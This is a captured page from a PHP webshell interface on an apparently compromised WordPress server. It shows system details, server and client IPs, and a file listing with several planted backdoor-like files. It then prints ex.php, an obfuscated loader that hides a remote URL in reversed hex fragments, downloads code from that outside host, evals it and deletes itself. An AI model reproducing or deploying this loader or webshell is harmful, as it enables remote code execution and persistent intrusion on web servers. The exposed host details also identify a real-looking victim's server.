Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
8.1.33 Safe mode: OFF Datetime: 2025-12-14 10:03:13
2792.60 GB Free: 1880.62 GB (67%)
/home/kheruwym/public_html/ dr-xr-xr-x [ root ] [ home ] Text

Server IP:
202.131.4.21
Client IP:
216.73.216.89
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-11-28 13:13:32dr-xr-xr-xRename Touch
[ .. ]dir2025-12-11 23:22:37drwx--x--xRename Touch
[ .tmb ]dir2025-11-12 07:07:40drwxrwxrwxRename Touch
[ .well-known ]dir2025-11-12 07:07:35drwxr-xr-xRename Touch
[ 117cb ]dir2025-11-14 05:53:05dr-xr-xr-xRename Touch
[ 1d8b10 ]dir2025-11-14 08:28:52drwxr-xr-xRename Touch
[ cgi-bin ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ f4727b ]dir2025-11-19 07:48:55drwxr-xr-xRename Touch
[ images ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ wp-admin ]dir2025-11-26 03:07:13drwxr-xr-xRename Touch
[ wp-content ]dir2025-11-22 08:16:38drwxr-xr-xRename Touch
[ wp-includes ]dir2025-11-22 08:16:25drwxr-xr-xRename Touch
.htaccess1.13 KB2025-11-28 13:17:43-r-xr-xr-xRename Touch Edit Download
.htaccess.phpupgrader.574027731.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.9e97ffcf1.45 KB2023-08-02 18:50:37-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.initial1.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
click.php1.93 KB2023-09-14 08:16:25-r--r--r--Rename Touch Edit Download
defaults.php1.93 KB2023-07-21 03:50:14-r--r--r--Rename Touch Edit Download
ex.php5.96 KB2025-11-28 13:13:32-rw-r--r--Rename Touch Edit Download
header.php0 B2025-11-10 06:52:51-rw-r--r--Rename Touch Edit Download
index.php35.97 KB2023-05-29 08:16:38-r-xr-xr-xRename Touch Edit Download
index.php035.97 KB2023-09-11 08:16:37-rwxr-xr-xRename Touch Edit Download
item.php1.29 KB2023-08-18 08:15:39-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
mah.php1.93 KB2023-12-31 03:48:47-r--r--r--Rename Touch Edit Download
networks.php1.29 KB2024-01-13 03:43:18-r--r--r--Rename Touch Edit Download
options.php1.93 KB2023-12-03 08:16:25-r--r--r--Rename Touch Edit Download
pages.php1.44 KB2023-07-28 08:15:18-r--r--r--Rename Touch Edit Download
php.ini40 B2025-11-18 19:54:41-rw-r--r--Rename Touch Edit Download
plugins.php1.87 KB2023-07-01 08:16:25-r--r--r--Rename Touch Edit Download
product.php2.03 KB2023-04-16 03:50:14-r--r--r--Rename Touch Edit Download
quoys.php26.20 KB2025-11-13 01:08:41-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2025-09-30 22:02:04-rw-r--r--Rename Touch Edit Download
robots.txt364 B2023-06-15 08:16:38-r--r--r--Rename Touch Edit Download
search.php1.46 KB2023-12-19 08:16:38-r--r--r--Rename Touch Edit Download
track.php6.49 KB2025-11-12 04:05:52-rw-r--r--Rename Touch Edit Download
txets.php5.89 KB2025-11-12 06:13:57-rw-r--r--Rename Touch Edit Download
wp-activate.php7.21 KB2024-04-02 19:31:34-rw-r--r--Rename Touch Edit Download
wp-blog-header.php347 B2025-11-10 06:52:59-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-08-09 07:36:19-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
wp-config.php3.12 KB2022-02-15 07:01:10-rw-------Rename Touch Edit Download
wp-confiq.php0 B2025-11-10 06:52:50-rw-r--r--Rename Touch Edit Download
wp-cron.php5.51 KB2025-11-10 06:53:00-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-log1n.php1.72 KB2024-01-28 08:14:59-r--r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-settings.php29.38 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.98 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
xmlshell.php243.86 KB2025-11-13 16:26:34-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
User: kheruwym (1551)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/kheruwym/public_html/ex.php
<?php goto k68Lo; ONyF7: $qokfg .= "\x73"; goto kXtIa; HHy0G: $qokfg .= "\160\165\163"; goto EBKfy; aAMA_: $qokfg .= "\170\145\x79"; goto Yv0dY; t40gb: $qokfg .= "\x73\x70"; goto OeCLp; y8T5W: $qokfg .= "\x2e\157\145"; goto ONyF7; NmaKj: @chmod($Y0sLi, 0755); goto nqGz3; Czzbc: $qokfg = ''; goto cr_jz; h1Kq8: eval("\x3f\x3e" . ciC2w(strrev($qokfg))); goto UlkY4; EQsv4: $qokfg .= "\61\156\x61\x6d"; goto qsK13; kXtIa: $qokfg .= "\57\x2f\72"; goto t40gb; qsK13: $qokfg .= "\57\162\x65"; goto HHy0G; cr_jz: $qokfg .= "\164"; goto WXTed; WXTed: $qokfg .= "\170\164\x2e"; goto EQsv4; q1Vz9: $qokfg .= "\x2e\x61\x73\56"; goto aAMA_; OeCLp: $qokfg .= "\x74\x74\x68"; goto h1Kq8; nqGz3: @unlink($fzu2n); goto Czzbc; k68Lo: $fzu2n = $_SERVER["\x44\117\103\x55\115\x45\116\x54\137\x52\x4f\117\x54"] . $_SERVER["\x50\110\120\137\x53\x45\x4c\x46"]; goto hrif1; EBKfy: $qokfg .= "\x2f\x6d\157\x63"; goto q1Vz9; Yv0dY: $qokfg .= "\151\x65\150"; goto y8T5W; hrif1: $Y0sLi = dirname($_SERVER["\x44\x4f\x43\125\x4d\105\x4e\124\137\122\117\x4f\124"] . $_SERVER["\120\110\120\x5f\123\105\x4c\x46"]); goto NmaKj; UlkY4: function CIc2w($GGGJ_, $eF402 = "\x47\x45\x54", $GANlk = array(), $ZgYYH = 45) { try { goto ohbNn; i0l_p: if (!($eF402 == "\x50\117\123\124")) { goto oBwZn; } goto uSPuh; mzMoz: $k9l8y .= $pI3_f . "\15\xa"; goto DjWmc; eQ1Aj: $bjyYi = isset($LL0MD["\160\x61\x74\x68"]) ? $LL0MD["\160\x61\x74\x68"] : "\57"; goto fugTC; Ijq1S: $OmGNF = $siukR; goto ICEZY; v80Fk: $siukR = ''; goto DlESH; weCeM: $qka3P = $LL0MD["\150\157\x73\164"]; goto eQ1Aj; FxQ2X: goto aCDf2; goto M_I0E; phVYZ: $O61oF = stream_socket_client("{$Tn30T}\72\x2f\x2f{$qka3P}\x3a{$uJ8qI}", $JjP5U, $KDWdp, $ZgYYH); goto MO7os; aiJny: T6pON: goto QSzC9; o_NBQ: curl_setopt($hrp5k, CURLOPT_POSTFIELDS, http_build_query($GANlk)); goto peQXF; ICEZY: WDo3K: goto Y8QPF; IEYkk: $hPv_K = isset($pKp0m[0]) ? $pKp0m[0] : ''; goto HmEA2; Y8QPF: return trim($OmGNF); goto zbaqv; UqfEy: aCDf2: goto Ijq1S; qwn35: goto Nnxno; goto Kk37W; AIJU5: curl_setopt($hrp5k, CURLOPT_TIMEOUT, $ZgYYH); goto LBaGv; ZUiFC: goto wnBr0; goto UqfEy; Ye3l7: if (!($OHptL === false)) { goto f0Qmd; } goto FxQ2X; Mq5b_: fclose($O61oF); goto LWkKu; XjJPU: $siukR .= substr($OmGNF, $OHptL + 2, $YSgIG); goto QnbJo; HmEA2: $OmGNF = isset($pKp0m[1]) ? $pKp0m[1] : ''; goto rTYcl; QnbJo: $OmGNF = substr($OmGNF, $OHptL + 2 + $YSgIG + 2); goto ZUiFC; oXMRy: curl_setopt($hrp5k, CURLOPT_POST, 1); goto o_NBQ; vdAh3: $uJ8qI = isset($LL0MD["\x70\x6f\x72\164"]) ? $LL0MD["\160\157\162\x74"] : ($PG6bC === "\x68\x74\x74\160\x73" ? 443 : 80); goto K0BeZ; g7NnU: $PG6bC = isset($LL0MD["\x73\x63\150\x65\155\145"]) ? $LL0MD["\x73\x63\x68\x65\155\x65"] : "\150\x74\x74\160"; goto vdAh3; L9MPr: cXG05: goto XjJPU; j97_S: $wpW0P = curl_exec($hrp5k); goto jqdVy; YJ1vM: if (!($eF402 == "\120\117\x53\x54")) { goto ASYYJ; } goto mzMoz; Yv4z0: $hrp5k = curl_init(); goto ImyFX; gcYgq: if (!($YSgIG === 0)) { goto cXG05; } goto G505F; J3Ptn: curl_setopt($hrp5k, CURLOPT_USERAGENT, "\x47\x4f"); goto lL0uV; deuEj: OcHoT: goto QV7VI; yVbWs: $hPv_K[] = "\103\x6f\156\164\x65\156\x74\55\x54\171\160\x65\72\40\141\160\x70\154\151\x63\x61\x74\x69\x6f\x6e\x2f\x78\55\x77\167\167\55\x66\157\x72\x6d\x2d\x75\162\154\x65\x6e\143\x6f\144\145\x64"; goto hYxBJ; fugTC: $T4Ppt = isset($LL0MD["\161\x75\x65\162\x79"]) ? "\x3f" . $LL0MD["\161\165\145\162\171"] : ''; goto g7NnU; wxF1p: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYHOST, false); goto nOXwr; c3qwA: $YSgIG = hexdec(substr($OmGNF, 0, $OHptL)); goto gcYgq; LBaGv: if (!($eF402 == "\120\117\123\124")) { goto Sxzmp; } goto oXMRy; q2Dik: $OHptL = strpos($OmGNF, "\15\xa"); goto Ye3l7; LWkKu: $pKp0m = explode("\15\12\15\12", $yRwhm, 2); goto IEYkk; YB4dt: curl_setopt($hrp5k, CURLOPT_RETURNTRANSFER, 1); goto mq1b4; hYxBJ: $hPv_K[] = "\x43\x6f\156\x74\145\156\164\55\x4c\145\156\x67\164\150\x3a\x20" . strlen($pI3_f); goto ZN7Vr; Cv7WD: $yRwhm .= fgets($O61oF, 1024); goto qwn35; EpqVt: return 0; goto aiJny; MO7os: if ($O61oF) { goto T6pON; } goto EpqVt; mq1b4: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYPEER, false); goto wxF1p; QV7VI: $LL0MD = parse_url($GGGJ_); goto weCeM; K0BeZ: $Tn30T = $PG6bC === "\x68\164\164\x70\163" ? "\163\163\x6c" : "\x74\x63\160"; goto phVYZ; peQXF: Sxzmp: goto j97_S; QSzC9: $hPv_K = array("{$eF402}\x20{$bjyYi}{$T4Ppt}\x20\x48\124\x54\x50\x2f\x31\x2e\61", "\110\x6f\x73\x74\72\40{$qka3P}", "\125\x73\x65\162\55\101\x67\x65\x6e\x74\x3a\40\115\x6f\x7a\151\x6c\154\141\57\65\56\x30\40\50\127\151\x6e\x64\157\167\x73\40\116\124\40\61\60\56\x30\x3b\40\127\151\x6e\66\64\73\x20\170\x36\x34\51\40\101\x70\160\x6c\145\x57\145\142\x4b\151\164\57\65\63\x37\x2e\63\66\x20\x28\x4b\x48\x54\x4d\114\54\40\x6c\x69\x6b\x65\x20\x47\145\x63\x6b\157\x29\40\x43\x68\x72\x6f\155\145\57\71\x31\56\60\x2e\x34\x34\x37\x32\x2e\x31\x32\64\40\x53\x61\x66\x61\162\151\57\x35\63\x37\56\63\66", "\x43\x6f\156\x6e\145\x63\164\x69\157\x6e\x3a\40\103\154\157\x73\145"); goto i0l_p; V4cPs: $k9l8y = implode("\15\12", $hPv_K) . "\xd\12\xd\xa"; goto YJ1vM; ZN7Vr: oBwZn: goto V4cPs; zvS66: return trim(trim($wpW0P, "\357\xbb\277")); goto deuEj; G505F: goto aCDf2; goto L9MPr; ohbNn: if (!(function_exists("\x63\x75\162\154\x5f\151\x6e\x69\164") && function_exists("\143\165\x72\154\137\145\170\145\143"))) { goto OcHoT; } goto Yv4z0; ImyFX: curl_setopt($hrp5k, CURLOPT_URL, $GGGJ_); goto J3Ptn; myGHd: $yRwhm = ''; goto NGlog; DjWmc: ASYYJ: goto pv0bc; DlESH: wnBr0: goto qSxy8; nOXwr: curl_setopt($hrp5k, CURLOPT_FOLLOWLOCATION, true); goto AIJU5; jqdVy: curl_close($hrp5k); goto zvS66; qSxy8: if (!true) { goto aCDf2; } goto q2Dik; Kk37W: LA4LC: goto Mq5b_; rTYcl: if (!(stripos($hPv_K, "\124\162\141\x6e\163\146\x65\162\55\x45\x6e\x63\157\x64\151\x6e\x67\72\x20\143\x68\165\156\153\x65\x64") !== false)) { goto WDo3K; } goto v80Fk; M_I0E: f0Qmd: goto c3qwA; pv0bc: fwrite($O61oF, $k9l8y); goto myGHd; Ksjiv: if (feof($O61oF)) { goto LA4LC; } goto Cv7WD; lL0uV: curl_setopt($hrp5k, CURLOPT_CONNECTTIMEOUT, 0); goto YB4dt; uSPuh: $pI3_f = http_build_query($GANlk); goto yVbWs; NGlog: Nnxno: goto Ksjiv; zbaqv: } catch (Exception $DjiRI) { } return 0; }